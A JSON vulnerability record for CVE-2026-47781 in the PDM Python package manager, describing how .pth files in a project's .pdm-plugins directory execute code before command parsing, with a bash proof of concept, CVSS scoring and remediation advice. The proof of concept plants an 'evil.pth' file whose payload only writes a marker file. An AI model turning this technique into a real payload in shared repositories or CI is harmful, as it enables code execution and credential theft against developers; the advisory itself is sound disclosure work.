{"id":"CVE-2026-47781","aliases":["CVE-2026-47781","GHSA-qq6c-99pv-prvf","PYSEC-2026-2863"],"related":[],"kind":"vulnerability","state":"published","title":"pdm: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing","summary":"PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nPDM automatically loads project-local plugin paths from `.pdm-plugins` during `Core` initialization. Because this path is added via `site.addsitedir()`, attacker-controlled `.pth` files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.\n\nThis allows arbitrary code execution with the privileges of the user running `pdm` from an untrusted repository checkout.\n\n## Affected Behavior\n\n- Trigger does not require `pdm install --plugins`\n- A low-impact command such as `pdm --version` is sufficient\n- Impact is strongest in CI, privileged shells, and automation contexts\n\n## Affected Code\n\n- `src/pdm/core.py:74-82`\n- `src/pdm/core.py:310-333`\n- `src/pdm/core.py:335-352`\n\n## Technical Details\n\n`Core.__init__()` calls `load_plugins()` before ordinary command execution. `load_plugins()` calls `_add_project_plugins_library()`, which derives the project-local `.pdm-plugins` library path and adds it through `site.addsitedir()`.\n\nOn CPython, `site.addsitedir()` processes `.pth` files found in the added directory. `.pth` lines beginning with `import ` are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.\n\n## Impact\n\n- Arbitrary code execution as the invoking user\n- Potential credential theft, persistence, or workspace tampering\n- Potential privilege escalation when `pdm` is run via `sudo`, root-owned CI jobs, or privileged service accounts\n\n## Reproduction\n\nPoC:\n\n```bash\n# Replace this with a Python interpreter that can run `python -m pdm`.\nPDM_PY=/path/to/python-with-pdm\ntmpdir=$(mktemp -d)\n\ncat > \"$tmpdir/pyproject.toml\" <<'EOF'\n[project]\nname = \"plugin-autoload-demo\"\nversion = \"0.0.1\"\nEOF\n\npurelib=$(TMPDIR_ROOT=\"$tmpdir/.pdm-plugins\" \"$PDM_PY\" - <<'PY'\nimport os\nimport sys\nimport sysconfig\n\nbase = os.environ[\"TMPDIR_ROOT\"]\nscheme_names = sysconfig.get_scheme_names()\nif (sys.platform == \"darwin\" and \"osx_framework_library\" in scheme_names) or sys.platform == \"linux\":\n    scheme = \"posix_prefix\"\nelif sys.version_info < (3, 10):\n    scheme = \"nt\" if os.name == \"nt\" else \"posix_prefix\"\nelse:\n    scheme = sysconfig.get_default_scheme()\nreplace_vars = {\"base\": base, \"platbase\": base}\nprint(sysconfig.get_path(\"purelib\", scheme, replace_vars))\nPY\n)\n\nmkdir -p \"$purelib\"\nmarker=\"$tmpdir/plugin-autoload-marker.txt\"\nprintf '%s\\n' \"import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')\" > \"$purelib/evil.pth\"\n\n(\n  cd \"$tmpdir\" &&\n  \"$PDM_PY\" -m pdm --version\n)\n\ncat \"$marker\"\n```\n\nExpected result:\n\n- A temporary project is created\n- An `evil.pth` file is placed under `.pdm-plugins`\n- Running `pdm --version` creates a marker file before CLI exit\n\nObserved output from local validation:\n\n```text\nPDM, version 2.26.9\n\n--- marker ---\nproject plugin autoload executed\n```\n\n## Severity\n\nHigh\n\n## CVSS v4.0\n\n- Base score: `8.4` (`High`)\n- Vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`\n\nRationale:\n\n- `AV:L`: exploitation occurs through local execution of `pdm` against attacker-controlled repository content\n- `AC:L`: no special bypass or race is required\n- `AT:N`: no external precondition beyond the vulnerable workflow is required\n- `PR:N`: the attacker does not need privileges on the victim host\n- `UI:A`: the victim must actively run a `pdm` command in the malicious checkout\n- `VC:H/VI:H/VA:H`: successful exploitation yields arbitrary code execution as the invoking user\n- `SC:N/SI:N/SA:N`: the score is kept to same-system impact only\n\n## Root Cause\n\nProject-local plugin paths are implicitly trusted and loaded too early, and `.pth` processing is inherited from `site.addsitedir()`.\n\n## Recommended Remediation\n\n- Do not auto-load project-local `.pdm-plugins` by default\n- Avoid `site.addsitedir()` for project-controlled plugin paths\n- If project plugins must be supported, require explicit opt-in such as `--enable-project-plugins`\n- Explicitly prevent `.pth` execution when loading project plugin paths\n\n## Disclosure Notes\n\nThis issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.","format":"markdown","source":"ghsa"},{"lang":"es","text":"PDM es un gestor de paquetes y dependencias de Python. En versiones hasta la 2.26.9 inclusive, PDM carga automáticamente plugins locales del proyecto desde un directorio .pdm-plugins durante la inicialización, permitiendo que un archivo controlado por un atacante en una copia de repositorio no confiable ejecute código Python arbitrario antes de que se analice cualquier comando. Esto sucede porque load_plugins() se ejecuta durante Core.init() y añade .pdm-plugins a través de site.addsitedir(), que procesa archivos .pth y ejecuta inmediatamente cualquier línea que comience con import, por lo que el código se ejecuta con los privilegios del usuario que invoca pdm e incluso un comando benigno como pdm --version lo activa (haciendo que el impacto sea más fuerte en CI, automatización y contextos privilegiados). El problema está solucionado en la versión 2.27.0.","source":"nvd"}],"published":"2026-06-11T13:25:28.000Z","modified":"2026-10-24T16:10:00.153Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-94","CWE-829"],"affected":[{"ranges":[{"version":"< 2.27.0","status":"affected"}],"vendor":"pdm-project","product":"pdm","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.27.0"}],"ecosystem":"PyPI","package":"pdm","purl":"pkg:pypi/pdm","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.27.0"}],"ecosystem":"PyPI","package":"pdm","purl":"pkg:pypi/pdm","source":"pysec"}],"references":[{"url":"https://github.com/pdm-project/pdm/security/advisories/GHSA-qq6c-99pv-prvf","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pdm-project/pdm/releases/tag/2.27.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pdm-project/pdm","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/pdm","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-qq6c-99pv-prvf","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47781","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-08-05T13:48:06.311Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-47781","url":"https://www.cve.org/CVERecord?id=CVE-2026-47781","licence":"CVE Terms of Use","modified":"2026-08-05T13:48:50.422Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qq6c-99pv-prvf","url":"https://github.com/advisories/GHSA-qq6c-99pv-prvf","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:59.452Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-47781","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47781","licence":"Public domain","modified":"2026-10-24T16:10:00.153Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2863","url":"https://osv.dev/vulnerability/PYSEC-2026-2863","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:55.809Z"}],"updatedAt":"2026-11-25T22:59:31.003Z","epss":{"score":0.00186,"percentile":0.08587,"date":"2026-12-01T12:00:22.000Z"}}